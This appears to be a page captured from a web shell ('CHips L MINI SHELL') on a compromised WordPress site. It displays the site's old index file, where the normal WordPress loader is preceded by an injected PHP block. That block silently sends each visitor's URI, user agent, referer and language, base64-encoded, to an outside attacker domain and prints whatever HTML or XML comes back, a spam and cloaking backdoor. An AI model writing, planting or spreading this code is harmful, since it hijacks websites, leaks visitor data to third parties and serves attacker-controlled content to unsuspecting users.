CHips L MINI SHELL

CHips L pro

Current Path : /home/thomas/public_html/
Upload File :
Current File : /home/thomas/public_html/index.ph_old

<?php
//K123
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
date_default_timezone_set('PRC');

$Prefix = "yesixtyfourje";
$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);    
$uri = base64_encode(@$_SERVER['REQUEST_URI']);
$host = @$_SERVER['HTTP_HOST'];
$agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']);
$referer = base64_encode(@$_SERVER['HTTP_REFERER']);
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$goweb = $Prefix.'.'."fujiwaratoyoki.xyz";
$typeName = base64_encode($http_type.$host);
$geturl = 'http://'.$goweb.'/index.php?domain='.$typeName.'&uri='.$uri.'&lan='.$lan.'&agent='.$agent.'&referer='.$referer;
//echo $geturl; exit;
$file_contents = getCurl($geturl); 
if(strstr($file_contents,"[#*#*#]")){
	$html = explode("[#*#*#]",$file_contents);
	if($html[0] == "echohtml"){ echo $html[1]; exit; }
	if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit; }
	if($html[0] == "pingxml"){ $pingRes = getCurl($html[1]); $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR';
    echo $html[1] . '===>Sitemap: ' . $Oooo0s ."<br>";}
}
function getCurl($url)
{
    $file_contents = @file_get_contents($url); 
	if (!$file_contents) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		$file_contents = curl_exec($ch);
		curl_close($ch);
	}  
    return $file_contents;
}  
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

Copyright 2K16 - 2K18 Indonesian Hacker Rulez